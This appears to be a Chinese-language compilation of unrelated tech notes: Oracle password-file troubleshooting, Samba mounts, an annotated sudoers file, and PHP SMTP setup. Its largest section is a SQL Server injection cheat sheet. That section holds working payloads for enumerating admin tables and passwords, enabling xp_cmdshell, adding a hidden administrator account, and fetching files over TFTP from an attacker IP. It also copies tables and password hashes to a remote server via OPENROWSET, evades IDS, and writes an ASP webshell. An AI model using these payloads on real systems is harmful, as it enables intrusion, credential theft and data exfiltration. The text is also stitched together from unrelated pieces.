通常Oracle中的SYS口令与INTERNAL口令是同步的,SYS口令存储于口令文件中。在上述情况下你建立了包含有一个口令的口令文件,而不是使用缺省的 “change_on_install,”这就是问题之所在。
希望下面的方法对你有所帮助。首先,建立一个口令文件,其中包含一个口令,这个口令不要与系统口令匹配:
$ orapwd file=orapw password=foobar
entries=40
然后,进入服务器,启动数据库:
$ svrmgr
SVRMGR> connect internal
Connected.(已连接)
SVRMGR> startup
ORACLE instance started.(ORACLE 实例已启动)
Total System Global Area (系统全局区域大小)
193073136 bytes
Fixed Size (固定大小)
69616 bytes
Variable Size (可变大小)
141639680 bytes
Database Buffers (数据库缓冲区)
45056000 bytes
Redo Buffers (重做缓冲区)
6307840 bytes
Database mounted. (数据库已加载)
Database opened.数据库已打开。
现在使用SYS用户的口令,以SYS身份连接:
SVRMGR> connect sys/change_on_install@ora81
Connected.(已连接)
成功了。现在试着以SYSDBA身份连接:
SVRMGR> connect sys/change_on_install@ora81
as sysdba;
ORA-01017: invalid username/password; logon
denied(无效的用户名/口令;登录被拒绝)
这里出现了你所说的错误。你的SYS口令为:change_on_install,但口令文件中的口令却是foobar。SYS用户是专用的,以SYSDBA身份连接就像是以INTERNAL连接,你必须使用口令文件中的口令。试试这样做:
SVRMGR— connect sys/foobar@ora81 as sysdba;
Connected.(已连接)
并不是每个人都需要使用口令文件中的口令;用户需要使用他们自己的口令。通过授权SYSDBA给SCOTT,你就可以明白这一点:
SVRMGR> grant sysdba to scott;
Statement processed.(已处理)
这个命令将SCOTT以SCOTT的凭证加入到口令文件中。如果你改变了SCOTT的口令,口令文件也会自动同步改变。现在,你可以试试以SYSDBA身份连接SCOTT了:
SVRMGR> connect scott/tiger@ora81 as sysdba;
Connected.(已连接)
一切正常。现在可以使用ALTER USER 命令来改变SYS用户的口令。
SVRMGR> alter user sys identified by
change_on_install;
Statement processed.(已成功更改)
SVRMGR≫ connect sys/change_on_install@ora81
as sysdba;
Connected.(已连接)
你还可以用change_on_install,因为改变SYS用户口令将同时改变口令文件中的口令。当你建立了口令文件后,Oracle数据库在其中放入两个账号:SYS和INTERNAL,并将你在命令行中提供的口令作为这两个账户的口令。当你改变数据库中的SYS用户口令时,数据库将冲掉口令文件中的SYS和INTERNAL口令。下面操作将显示口令foobar已经是无效的了:
SVRMGR> connect sys/foobar@ora81 as sysdba;
ORA-01017: invalid username/password; logon
denied(无效的用户名/口令,登录被拒绝)
unix怎么用merge tools访问windows文件
#sudo smbmount //servername/sharedir /mnt/share -o username=xxx,password=xxx
or
# sudo mount -t smbfs -o username=tridge,password=foobar //fjall/test /data/test
You may come across the following problem:
cli_negprot: SMB signing is mandatory and we have disabled it.
22538: protocol negotiation failed
SMB connection failed
The cause of the problem is the default security policy on Windows 2003 Server being set to always encrypt network connections under all circumstances. Whilst this is fine for most clients (especially Windows clients, understandably), the version of SMB that you uses doesn’t support encrypted connections. Apparently this support exists in Samba 3, but not on the version Hoary uses. The solution is to change the security policy to use encryption when it’s available and not otherwise. Here's how.
From Administrative Tools, open Domain Controller Security Settings.
Go to Local Policies then Security Options.
Scroll down to find the entry Microsoft network server: Digitally sign communications (always). Set this to Disabled.
The only thing left to do is to reload the security policy, as changes don’t otherwise take effect for some time. Open up a command window and type:
gpupdate
This will buzz and whirr for a few moments before confirming that the policy has been reloaded. With a bit of luck you should now be able to mount a network share from the Windows 2003 Server on your Box.
补充
7625: session setup failed: ERRDOS - ERRnoaccess (Access denied.)
SMB connection failed
如果你碰到这个错误,请检查用户名及密码是否正确!
请教/etc/sudoers中的含义
Sudo是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登陆 和管理时间,同样也提高了安全性。Sudo不是对shell的一个代替,它是面向每个命令的。它的特性主要有这样几点:
§ Sudo能够限制用户只在某台主机上运行某些命令。
§ Sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
§ Sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
§ Sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0411。
编辑配置文件命令:visudo
默认配置文件位置:/etc/sudoers
[root@localhost ~]# cat /etc/sudoers
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.
#
# Host alias specification
# User alias specification
# Cmnd alias specification
# Defaults specification
# Runas alias specification
# User privilege specification
root ALL=(ALL) ALL
# Uncomment to allow people in group wheel to run all commands
# %wheel ALL=(ALL) ALL
# Same thing without a password
# %wheel ALL=(ALL) NOPASSWD: ALL
# Samples
# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users localhost=/sbin/shutdown -h now
[root@localhost ~]#
可以用visudo编辑sudoers配置文件,不过也可以直接通过修改sudoers文件实现,不过编辑之前最好看一下它的sample.sudoers文件,里面有一个相当详细的例子可以参考。
#第一部分:用户定义,将用户分为FULLTIMERS、PARTTIMERS和WEBMASTERS三类。
User_Alias FULLTIMERS = millert, mikef, dowdy
User_Alias PARTTIMERS = bostley, jwfox, crawl
User_Alias WEBMASTERS = will, wendy, wim
#第二部分,将操作类型分类。
Runas_Alias OP = root, operator
Runas_Alias DB = oracle, sybase
#第三部分,将主机分类。这些都是随便分得,目的是为了更好地管理。
Host_Alias SPARC = bigtime, eclipse, moet, anchor :\
SGI = grolsch, dandelion, black :\
ALPHA = widget, thalamus, foobar :\
HPPA = boa, nag, python
Host_Alias CUNETS = 128.138.0.0/255.255.0.0
Host_Alias CSNETS = 128.138.243.0, 128.138.204.0/24, 128.138.242.0
Host_Alias SERVERS = master, mail, www, ns
Host_Alias CDROM = orion, perseus, hercules
#第四部分,定义命令和命令地路径。命令一定要使用绝对路径,避免其他目录的同名命令被执行,造成安全隐患 ,因此使用的时候也是使用绝对路径!
Cmnd_Alias DUMPS = /usr/bin/mt, /usr/sbin/dump, /usr/sbin/rdump,\
/usr/sbin/restore, /usr/sbin/rrestore
Cmnd_Alias KILL = /usr/bin/kill
Cmnd_Alias PRINTING = /usr/sbin/lpc, /usr/bin/lprm
Cmnd_Alias SHUTDOWN = /usr/sbin/shutdown
Cmnd_Alias HALT = /usr/sbin/halt, /usr/sbin/fasthalt
Cmnd_Alias REBOOT = /usr/sbin/reboot, /usr/sbin/fastboot
Cmnd_Alias SHELLS = /usr/bin/sh, /usr/bin/csh, /usr/bin/ksh, \
/usr/local/bin/tcsh, /usr/bin/rsh, \
/usr/local/bin/zsh
Cmnd_Alias SU = /usr/bin/su
# 这里是针对不同的用户采用不同地策略,比如默认所有的syslog直接通过auth 输出。FULLTIMERS组不用看到lecture(第一次运行时产生的消息);用户millert使用sudo时不用输入密码;以及logfile的 路径在/var/log/sudo.log而且每一行日志中必须包括年。
Defaults syslog=auth
Defaults:FULLTIMERS !lecture
Defaults:millert !authenticate
Defaults@SERVERS log_year, logfile=/var/log/sudo.log
#root和wheel组的成员拥有任何权利。 如果想对一组用户进行定义,可以在组名前加上%,对其进行设置.
root ALL = (ALL) ALL
%wheel ALL = (ALL) ALL
#FULLTIMERS可以运行任何命令在任何主机而不用输入自己的密码
FULLTIMERS ALL = NOPASSWD: ALL
#PARTTIMERS可以运行任何命令在任何主机,但是必须先验证自己的密码。
PARTTIMERS ALL = ALL
#jack可以运行任何命令在定义地CSNET(128.138.243.0, 128.138.242.0和128.138.204.0/24的子网)中,不过注意前两个不需要匹配子网掩码,而后一个必须匹配掩码。
jack CSNETS = ALL
#lisa可以运行任何命令在定义为CUNETS(128.138.0.0)的子网中主机上。
lisa CUNETS = ALL
#用户operator可以运行DUMPS,KILL,PRINTING,SHUTDOWN,HALT,REBOOT以及在/usr/oper/bin中的所有命令。
operator ALL = DUMPS, KILL, PRINTING, SHUTDOWN, HALT, REBOOT,\
/usr/oper/bin/
#joe可以运行su operator命令
joe ALL = /usr/bin/su operator
#pete可以为除root之外地用户修改密码。
pete HPPA = /usr/bin/passwd [A-z]*, !/usr/bin/passwd root
#bob可以在SPARC和SGI机器上和OP用户组中的root和operator一样运行如何命令。
bob SPARC = (OP) ALL : SGI = (OP) ALL
#jim可以运行任何命令在biglab网络组中。Sudo默认“+”是一个网络组地前缀。
jim +biglab = ALL
#在secretaries中地用户帮助管理打印机,并且可以运行adduser和rmuser命令。
+secretaries ALL = PRINTING, /usr/bin/adduser, /usr/bin/rmuser
#fred能够直接运行oracle或者sybase数据库。
fred ALL = (DB) NOPASSWD: ALL
#john可以在ALPHA机器上,su除了root之外地所有人。
john ALPHA = /usr/bin/su [!-]*, !/usr/bin/su *root*
#jen可以在除了SERVERS主机组的机器上运行任何命令。
jen ALL, !SERVERS = ALL
#jill可以在SERVERS上运行/usr/bin/中的除了su和shell命令之外的所有命令。
jill SERVERS = /usr/bin/, !SU, !SHELLS
#steve可以作为普通用户运行在CSNETS主机上的/usr/local/op_commands/内的任何命令。
steve CSNETS = (operator) /usr/local/op_commands/
#matt可以在他的个人工作站上运行kill命令。
matt valkyrie = KILL
#WEBMASTERS用户组中的用户可以以www的用户名运行任何命令或者可以su www。
WEBMASTERS www = (www) ALL, (root) /usr/bin/su www
#任何用户可以mount或者umount一个cd-rom在CDROM主机上,而不用输入密码。
ALL CDROM = NOPASSWD: /sbin/umount /CDROM,\
/sbin/mount -o nosuid\,nodev /dev/cd0a /CDROM
三,使用
指令名称:sudo
使用权限:在 /etc/sudoers 中有出现的使用者
使用方式:sudo -V
sudo -h
sudo -l
sudo -v
sudo -k
sudo -s
sudo -H
sudo [ -b ] [ -p prompt ] [ -u username/#uid] -s
用法:sudo command
说明:以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行
参数:
-V 显示版本编号
-h 会显示版本编号及指令的使用方式说明
-l 显示出自己(执行 sudo 的使用者)的权限
-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
-k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
-b 将要执行的指令放在背景执行
-p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
-u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
-s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
-H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令
范例:
sudo -l 列出目前的权限
sudo -V 列出 sudo 的版本资讯
指令名称:sudoers(在fc5下显示不能找到此命令,但用man可以查到其用法。)
用来显示可以使用sudo的用户
sql注入的语句特征
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate wscript.shell,@s out;exec sp_oamethod @s,run,NULL,cmd.exe /c ping 192.168.0.1;--
加帐号
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w 默认Web站点 -v e,e:\--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。假设存在user_id username,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schedule 启动服务
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32
\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>;刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一个加一个])
[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
开启远程数据库
基本语法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
参数: (1) OLEDB Provider name
其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
复制数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法:先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句9:and 1=(SELECT IS_MEMBER(db_owner));--
把路径写到表中去:
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录:下载
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject(wscript.shell): o.run( request.querystring(cmd) ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100),id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.
如何在 BlueHost 空间中用 PHP 以 SMTP 方式发送邮件
你可以用 mail,sendmail 和 smtp 三种方式来借助 Mail 类发送邮件。话说几天前刚买了个 BlueHost 的空间,在上面跑程序的时候用 PHP 发邮件搞出点心得来,放在这里跟大家分享。 首先我在系统中添加了一个邮件账户 test,密码 123456,然后写下了如下代码: require_once( 'Mail.php'); $conf = array( 'host' => 'mail.yourdomail.com', 'auth' => true, 'username' => 'test', 'password' => '123456' ); $headers['From'] = 'noreply@yourdomain.com'; $headers['To'] = $To; $headers['Subject'] = '=?GB2312?B?' . base64_encode( $Subject) . '?='; $headers['Content-Type'] = 'text/plain; charset=utf-8'; $Mail = & Mail::factory( 'smtp', $conf); $res = $Mail->send( $To, $headers, $Content); ?> $To 是想要发送到的信箱地址,比如 foobar@gmail.com,$Subject 是邮件主题,$Content 是 GB2312 编码的邮件正文。结果用以上程序屡试屡败,后来经过多次试验才得出在 BlueHost 主机上用 PHP 以 SMTP 方式发送邮件的正确方法,注意事项如下:1) BlueHost 帮助信息中说跟你账户(域名)相对应的 SMTP 主机地址是 mail.yourdomain.com,但其实应该是 localhost。你用 mail.yourdomain.com 只会得到 SMTP 拒绝链接的错误信息。2) SMTP 服务器需要验证才能发邮件。3) SMTP 验证时用户名需要写 user+yourdomain.com,不能写 user@yourdomain.com。想想这个也好理解,在虚拟主机上一个 SMTP server 要支撑很多个账户,这种写法应该是为了区别发件的账户。4) 邮件头中的发件邮件账户一定要是存在于系统中的真实账户,象我上面那样注册了一个 test@yourdomain.com,但是发件人账户又写 noreply@yourdomain.com 是不行的,只会得到这样的错误信息:SMTP: Invalid response code received from server (code: 550, response: Verification failed for No Such User Here Sender verify failed) 知道了上面这 4 个注意事项以后就好办了,删掉刚才注册的 test 邮件帐号,注册一个 noreply 帐号,修改程序如下: require_once( 'Mail.php'); $conf = array( 'host' => 'localhost', 'auth' => true, 'username' => 'noreply+yourdomain.com', 'password' => '123456' ); $headers['From'] = 'noreply@yourdomain.com'; $headers['To'] = $To; $headers['Subject'] = '=?GB2312?B?' . base64_encode( $Subject) . '?='; $headers['Content-Type'] = 'text/plain; charset=utf-8'; $Mail = & Mail::factory( 'smtp', $conf); $res = $Mail->send( $To, $headers, $Content); ?> 邮件被成功的发送出去了,而且由于邮件服务器在美国,发送到 GMail 信箱非常之快,一般这边一发那边刷新一下就能看到新邮件:) 这里再说些题外话,买了 BlueHost 的空间将近一周时间了,感觉美国的虚拟主机市场确实非常成熟,功能强大。跟国内价格还行但是配置超受限的主机比起来性价比高的不得了!只要你选对了服务提供商,可以说绝对让你满意。但是缺点也比较明显,就是速度实在是慢!这里面的原因众所周知,感谢伟大的电信运营商,感谢伟大的 GFW! 今天跟 HostMonster 的客户沟通了一下,问问他们那边从中国过去的访问速度怎么样,估计人家遇到这样的情况不是个别现象,上来就是一句,我们对来自中国的访问速度无法做出承诺。 国内的虚拟主机服务商有万网这样把大家当 SB 漫天要价的主,但是也有兢兢业业踏踏实实做服务的公司,不过性价比跟国外的运营商确实没法比。一边是价格高不了多少,动辄几十 G 空间几百 G 月流量,支持 SSH,支持多 Addon domain 的国外主机,一边是价廉物不太美的国内主机,我想诱惑力是不言而喻的。但是速度,唉,伤心是一种说不出的痛!
如何使用vc6.0和sql2000进行连接和数据库操作(查询插入更新删除),最好举例
